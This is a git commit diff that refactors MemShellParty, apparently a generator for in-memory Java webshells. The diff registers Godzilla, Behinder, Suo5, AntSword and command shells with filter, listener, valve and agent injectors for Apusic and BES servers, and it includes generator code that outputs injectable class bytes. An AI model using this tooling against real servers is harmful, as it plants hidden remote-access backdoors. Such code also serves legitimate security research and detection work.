mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
refactor: simplify memshell generate map register
This commit is contained in:
@@ -1,10 +1,10 @@
|
||||
package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import com.reajason.javaweb.boot.entity.Config;
|
||||
import com.reajason.javaweb.memshell.AbstractShell;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
import com.reajason.javaweb.memshell.server.AbstractShell;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import com.reajason.javaweb.GeneratorMain;
|
||||
import com.reajason.javaweb.memshell.GeneratorMain;
|
||||
import com.reajason.javaweb.boot.dto.GenerateRequest;
|
||||
import com.reajason.javaweb.boot.dto.GenerateResponse;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.boot.dto;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.*;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import lombok.Data;
|
||||
|
||||
/**
|
||||
|
||||
@@ -0,0 +1,53 @@
|
||||
package com.reajason.javaweb.buddy;
|
||||
|
||||
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||
import net.bytebuddy.description.method.MethodDescription;
|
||||
import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.implementation.Implementation;
|
||||
import net.bytebuddy.jar.asm.MethodVisitor;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import net.bytebuddy.pool.TypePool;
|
||||
import org.jetbrains.annotations.NotNull;
|
||||
|
||||
import java.util.Set;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class MethodCallReplaceVisitorWrapper implements AsmVisitorWrapper.ForDeclaredMethods.MethodVisitorWrapper {
|
||||
|
||||
private final String targetClassName;
|
||||
private final Set<String> replaceClassNames;
|
||||
|
||||
public MethodCallReplaceVisitorWrapper(String targetClassName, Set<String> replaceClassNames) {
|
||||
this.targetClassName = targetClassName.replace(".", "/");
|
||||
this.replaceClassNames = replaceClassNames.stream().map(s -> s.replace(".", "/")).collect(Collectors.toSet());
|
||||
}
|
||||
|
||||
@NotNull
|
||||
@Override
|
||||
public MethodVisitor wrap(@NotNull TypeDescription instrumentedType,
|
||||
@NotNull MethodDescription instrumentedMethod,
|
||||
@NotNull MethodVisitor methodVisitor,
|
||||
@NotNull Implementation.Context implementationContext,
|
||||
@NotNull TypePool typePool,
|
||||
int writerFlags,
|
||||
int readerFlags) {
|
||||
return new MethodVisitor(Opcodes.ASM9, methodVisitor) {
|
||||
@Override
|
||||
public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) {
|
||||
if (opcode == Opcodes.INVOKESTATIC
|
||||
&& replaceClassNames.contains(owner)) {
|
||||
super.visitMethodInsn(Opcodes.INVOKESTATIC,
|
||||
targetClassName,
|
||||
name,
|
||||
descriptor,
|
||||
false);
|
||||
} else {
|
||||
super.visitMethodInsn(opcode, owner, name, descriptor, isInterface);
|
||||
}
|
||||
}
|
||||
};
|
||||
}
|
||||
}
|
||||
@@ -1,76 +0,0 @@
|
||||
package com.reajason.javaweb.buddy;
|
||||
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.jar.asm.MethodVisitor;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
public class MethodSubstitutionExample {
|
||||
|
||||
|
||||
public static class MethodReplacementMethodVisitor extends MethodVisitor {
|
||||
private final String targetClassName;
|
||||
|
||||
public MethodReplacementMethodVisitor(MethodVisitor mv, String targetClassName) {
|
||||
super(Opcodes.ASM9, mv);
|
||||
this.targetClassName = targetClassName;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) {
|
||||
if (opcode == Opcodes.INVOKESTATIC
|
||||
&& owner.endsWith("ExternalClass")
|
||||
&& name.equals("replacementMethod")) {
|
||||
super.visitMethodInsn(Opcodes.INVOKESTATIC,
|
||||
targetClassName.replace(".", "/"),
|
||||
name,
|
||||
descriptor,
|
||||
false);
|
||||
} else {
|
||||
super.visitMethodInsn(opcode, owner, name, descriptor, isInterface);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static class ExternalClass {
|
||||
public static String externalMethod(String input) {
|
||||
return "External: " + input;
|
||||
}
|
||||
|
||||
public static String replacementMethod(String input) {
|
||||
return "Replaced: " + input;
|
||||
}
|
||||
}
|
||||
|
||||
public static class TargetClass {
|
||||
public String targetMethod(String input) {
|
||||
System.out.println("targetMethod");
|
||||
return ExternalClass.replacementMethod(input);
|
||||
}
|
||||
|
||||
public static String replacementMethod(String input) {
|
||||
return "Replaced: " + input;
|
||||
}
|
||||
}
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
String oldClassName = TargetClass.class.getName();
|
||||
String newClassName = oldClassName + "Redefinition";
|
||||
|
||||
DynamicType.Unloaded<TargetClass> dynamicType = new ByteBuddy()
|
||||
.redefine(TargetClass.class)
|
||||
.name(newClassName)
|
||||
.visit(new AsmVisitorWrapper.ForDeclaredMethods().method(named("targetMethod"), (typeDescription, methodDescription, methodVisitor, context, typePool, i, i1) -> new MethodReplacementMethodVisitor(methodVisitor, newClassName)))
|
||||
.make();
|
||||
|
||||
Files.write(Paths.get("xixi.class"), dynamicType.getBytes());
|
||||
Class<?> redefinedClass = dynamicType.load(MethodSubstitutionExample.class.getClassLoader())
|
||||
.getLoaded();
|
||||
}
|
||||
}
|
||||
+62
@@ -0,0 +1,62 @@
|
||||
package com.reajason.javaweb.buddy;
|
||||
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.util.Collections;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/22
|
||||
*/
|
||||
class MethodCallReplaceVisitorWrapperTest {
|
||||
|
||||
public static class ExternalClass {
|
||||
public static String externalMethod(String input) {
|
||||
return "External: " + input;
|
||||
}
|
||||
|
||||
public static String replacementMethod(String input) {
|
||||
return "Replaced: " + input;
|
||||
}
|
||||
}
|
||||
|
||||
public static class TargetClass {
|
||||
public String targetMethod(String input) {
|
||||
System.out.println("targetMethod");
|
||||
return ExternalClass.replacementMethod(input);
|
||||
}
|
||||
|
||||
public static String replacementMethod(String input) {
|
||||
return "Replaced: " + input;
|
||||
}
|
||||
}
|
||||
|
||||
@Test
|
||||
void test() throws Exception {
|
||||
String newClassName = TargetClass.class.getName() + "Redefinition";
|
||||
DynamicType.Unloaded<TargetClass> dynamicType = new ByteBuddy()
|
||||
.redefine(TargetClass.class)
|
||||
.name(newClassName)
|
||||
.visit(new AsmVisitorWrapper
|
||||
.ForDeclaredMethods()
|
||||
.method(named("targetMethod"),
|
||||
new MethodCallReplaceVisitorWrapper(
|
||||
newClassName,
|
||||
Collections.singleton(ExternalClass.class.getName())
|
||||
)
|
||||
)
|
||||
)
|
||||
.make();
|
||||
Class<?> redefinedClass = dynamicType.load(MethodCallReplaceVisitorWrapperTest.class.getClassLoader())
|
||||
.getLoaded();
|
||||
Object object = redefinedClass.newInstance();
|
||||
Object result = object.getClass().getMethod("targetMethod", String.class).invoke(object, "xixi");
|
||||
assertEquals("Replaced: xixi", result);
|
||||
}
|
||||
}
|
||||
+4
-17
@@ -4,8 +4,10 @@ plugins {
|
||||
|
||||
java {
|
||||
toolchain {
|
||||
languageVersion = JavaLanguageVersion.of(17)
|
||||
languageVersion = JavaLanguageVersion.of(8)
|
||||
}
|
||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||
targetCompatibility = JavaVersion.VERSION_1_8
|
||||
}
|
||||
|
||||
group = 'com.reajason.javaweb.memsell'
|
||||
@@ -16,21 +18,6 @@ test {
|
||||
finalizedBy jacocoTestReport
|
||||
}
|
||||
|
||||
def runtimeJvmArgs = [
|
||||
'--add-opens=java.base/java.util=ALL-UNNAMED',
|
||||
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
|
||||
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
|
||||
]
|
||||
|
||||
tasks.withType(Test).configureEach {
|
||||
jvmArgs += runtimeJvmArgs
|
||||
}
|
||||
|
||||
// For running the application
|
||||
tasks.withType(JavaExec).configureEach {
|
||||
jvmArgs += runtimeJvmArgs
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation project(":common")
|
||||
implementation project(":deserialize")
|
||||
@@ -42,7 +29,7 @@ dependencies {
|
||||
implementation 'javax.websocket:javax.websocket-api'
|
||||
implementation 'jakarta.servlet:jakarta.servlet-api'
|
||||
|
||||
implementation 'xalan:xalan'
|
||||
// implementation 'xalan:xalan'
|
||||
implementation 'org.apache.bcel:bcel'
|
||||
|
||||
implementation 'commons-io:commons-io'
|
||||
|
||||
@@ -1,81 +0,0 @@
|
||||
package com.reajason.javaweb;
|
||||
|
||||
import com.reajason.javaweb.memshell.AbstractShell;
|
||||
import com.reajason.javaweb.memshell.config.*;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
public class GeneratorMain {
|
||||
|
||||
public static void main(String[] args) throws IOException {
|
||||
ShellConfig shellConfig = ShellConfig.builder()
|
||||
.server(Server.Tomcat)
|
||||
.shellTool(ShellTool.Suo5)
|
||||
.shellType(Constants.FILTER)
|
||||
.targetJreVersion(Opcodes.V1_8)
|
||||
.debug(true)
|
||||
.build();
|
||||
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||
.pass("pass")
|
||||
.key("key")
|
||||
.headerName("User-Agent")
|
||||
.headerValue("test123").build();
|
||||
CommandConfig commandConfig = CommandConfig.builder().paramName("listener").build();
|
||||
|
||||
BehinderConfig behinderConfig = BehinderConfig.builder()
|
||||
.pass("test123")
|
||||
.headerName("User-Agent")
|
||||
.headerValue("test").build();
|
||||
|
||||
Suo5Config suo5Config = Suo5Config.builder()
|
||||
.headerName("User-Agent")
|
||||
.headerValue("test").build();
|
||||
|
||||
InjectorConfig injectorConfig = new InjectorConfig();
|
||||
|
||||
GenerateResult generateResult = generate(shellConfig, injectorConfig, suo5Config);
|
||||
if (generateResult != null) {
|
||||
// Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
|
||||
// Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
|
||||
// System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
|
||||
System.out.println(Packers.ScriptEngine.getInstance().pack(generateResult));
|
||||
// Files.write(Path.of("target.jar"), Packer.INSTANCE.AgentJar.getPacker().packBytes(generateResult));
|
||||
}
|
||||
}
|
||||
|
||||
public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
|
||||
Server server = shellConfig.getServer();
|
||||
AbstractShell shell = server.getShell();
|
||||
if (shell == null) {
|
||||
throw new IllegalArgumentException("Unsupported server");
|
||||
}
|
||||
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
||||
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType()));
|
||||
}
|
||||
|
||||
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
|
||||
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
|
||||
}
|
||||
|
||||
return shell.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static String generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packers packerInstance) {
|
||||
GenerateResult generateResult = generate(shellConfig, injectorConfig, shellToolConfig);
|
||||
if (generateResult != null) {
|
||||
return packerInstance.getInstance().pack(generateResult);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -1,107 +0,0 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.*;
|
||||
import com.reajason.javaweb.memshell.generator.*;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.Collections;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/7
|
||||
*/
|
||||
public abstract class AbstractShell {
|
||||
/**
|
||||
* 获取内存马功能所支持的注入类型列表
|
||||
*
|
||||
* @param tool 内存马功能
|
||||
* @return shellTypes
|
||||
*/
|
||||
public List<String> getSupportedShellTypes(ShellTool tool) {
|
||||
return switch (tool) {
|
||||
case Godzilla -> getGodzillaShellMap().keySet().stream().toList();
|
||||
case Command -> getCommandShellMap().keySet().stream().toList();
|
||||
case Behinder -> getBehinderShellMap().keySet().stream().toList();
|
||||
case Suo5 -> getSuo5ShellMap().keySet().stream().toList();
|
||||
case AntSword -> getAntSwordShellMap().keySet().stream().toList();
|
||||
default -> Collections.emptyList();
|
||||
};
|
||||
}
|
||||
|
||||
public GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
|
||||
Pair<Class<?>, Class<?>> shellInjectorPair = getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
|
||||
if (shellInjectorPair == null) {
|
||||
throw new UnsupportedOperationException("Unknown shell type: " + shellConfig.getShellType());
|
||||
}
|
||||
Class<?> shellClass = shellInjectorPair.getLeft();
|
||||
Class<?> injectorClass = shellInjectorPair.getRight();
|
||||
|
||||
shellToolConfig.setShellClass(shellClass);
|
||||
|
||||
byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig);
|
||||
|
||||
injectorConfig = injectorConfig
|
||||
.toBuilder()
|
||||
.injectorClass(injectorClass)
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.shellClassBytes(shellBytes).build();
|
||||
|
||||
byte[] injectorBytes = new InjectorGenerator(shellConfig, injectorConfig).generate();
|
||||
|
||||
return GenerateResult.builder()
|
||||
.shellConfig(shellConfig)
|
||||
.shellToolConfig(shellToolConfig)
|
||||
.injectorConfig(injectorConfig)
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.shellBytes(shellBytes)
|
||||
.injectorClassName(injectorConfig.getInjectorClassName())
|
||||
.injectorBytes(injectorBytes)
|
||||
.build();
|
||||
}
|
||||
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
return Collections.emptyMap();
|
||||
}
|
||||
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
return Collections.emptyMap();
|
||||
}
|
||||
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||
return Collections.emptyMap();
|
||||
}
|
||||
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
|
||||
return Collections.emptyMap();
|
||||
}
|
||||
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
return Collections.emptyMap();
|
||||
}
|
||||
|
||||
private Pair<Class<?>, Class<?>> getShellInjectorPair(ShellTool shellTool, String shellType) {
|
||||
Map<String, Pair<Class<?>, Class<?>>> shellMap = switch (shellTool) {
|
||||
case Godzilla -> getGodzillaShellMap();
|
||||
case Command -> getCommandShellMap();
|
||||
case Behinder -> getBehinderShellMap();
|
||||
case Suo5 -> getSuo5ShellMap();
|
||||
case AntSword -> getAntSwordShellMap();
|
||||
default -> throw new UnsupportedOperationException("Unknown shell type: " + shellType);
|
||||
};
|
||||
return shellMap.get(shellType);
|
||||
}
|
||||
|
||||
private byte[] generateShellBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||
return switch (shellConfig.getShellTool()) {
|
||||
case Godzilla -> new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes();
|
||||
case Command -> CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig);
|
||||
case Behinder -> new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes();
|
||||
case Suo5 -> new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes();
|
||||
case AntSword -> new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes();
|
||||
default -> throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
|
||||
};
|
||||
}
|
||||
}
|
||||
@@ -1,77 +0,0 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.apusic.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.apusic.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.apusic.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.apusic.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.apusic.injector.ApusicFilterInjector;
|
||||
import com.reajason.javaweb.memshell.apusic.injector.ApusicListenerInjector;
|
||||
import com.reajason.javaweb.memshell.apusic.injector.ApusicServletInjector;
|
||||
import com.reajason.javaweb.memshell.apusic.suo5.Suo5Listener;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.reajason.javaweb.memshell.config.Constants.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/27
|
||||
*/
|
||||
public class ApusicShell extends AbstractShell {
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(CommandServlet.class, ApusicServletInjector.class));
|
||||
map.put(FILTER, Pair.of(CommandFilter.class, ApusicFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(CommandListener.class, ApusicListenerInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(GodzillaServlet.class, ApusicServletInjector.class));
|
||||
map.put(FILTER, Pair.of(GodzillaFilter.class, ApusicFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(GodzillaListener.class, ApusicListenerInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(BehinderServlet.class, ApusicServletInjector.class));
|
||||
map.put(FILTER, Pair.of(BehinderFilter.class, ApusicFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(BehinderListener.class, ApusicListenerInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(Suo5Servlet.class, ApusicServletInjector.class));
|
||||
map.put(FILTER, Pair.of(Suo5Filter.class, ApusicFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(Suo5Listener.class, ApusicListenerInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(AntSwordServlet.class, ApusicServletInjector.class));
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, ApusicFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, ApusicListenerInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
@@ -1,88 +0,0 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.bes.antsword.AntSwordValve;
|
||||
import com.reajason.javaweb.memshell.bes.behinder.BehinderValve;
|
||||
import com.reajason.javaweb.memshell.bes.command.CommandValve;
|
||||
import com.reajason.javaweb.memshell.bes.godzilla.GodzillaValve;
|
||||
import com.reajason.javaweb.memshell.bes.injector.*;
|
||||
import com.reajason.javaweb.memshell.bes.suo5.Suo5Valve;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.reajason.javaweb.memshell.config.Constants.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/26
|
||||
*/
|
||||
public class BesShell extends AbstractShell {
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(CommandFilter.class, BesFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(CommandListener.class, BesListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(CommandValve.class, BesValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, BesFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, BesContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(GodzillaFilter.class, BesFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(GodzillaListener.class, BesListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(GodzillaValve.class, BesValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, BesFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, BesContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(BehinderFilter.class, BesFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(BehinderListener.class, BesListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(BehinderValve.class, BesValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, BesFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, BesContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(Suo5Filter.class, BesFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(Suo5Listener.class, BesListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(Suo5Valve.class, BesValveInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, BesFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, BesListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(AntSwordValve.class, BesValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, BesFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, BesContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,118 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.*;
|
||||
import com.reajason.javaweb.memshell.generator.*;
|
||||
import com.reajason.javaweb.memshell.server.AbstractShell;
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
import java.nio.file.StandardOpenOption;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
public class GeneratorMain {
|
||||
|
||||
public static void main(String[] args) throws IOException {
|
||||
ShellConfig shellConfig = ShellConfig.builder()
|
||||
.server(Server.Apusic)
|
||||
.shellTool(ShellTool.Behinder)
|
||||
.shellType(ShellType.LISTENER)
|
||||
.targetJreVersion(Opcodes.V1_8)
|
||||
.debug(true)
|
||||
.build();
|
||||
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||
.pass("pass")
|
||||
.key("key")
|
||||
.headerName("User-Agent")
|
||||
.headerValue("test123").build();
|
||||
CommandConfig commandConfig = CommandConfig.builder().paramName("listener").build();
|
||||
|
||||
BehinderConfig behinderConfig = BehinderConfig.builder()
|
||||
.pass("test123")
|
||||
.headerName("User-Agent")
|
||||
.headerValue("test").build();
|
||||
|
||||
Suo5Config suo5Config = Suo5Config.builder()
|
||||
.headerName("User-Agent")
|
||||
.headerValue("test").build();
|
||||
|
||||
InjectorConfig injectorConfig = new InjectorConfig();
|
||||
|
||||
GenerateResult generateResult = generate(shellConfig, injectorConfig, behinderConfig);
|
||||
if (generateResult != null) {
|
||||
Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
|
||||
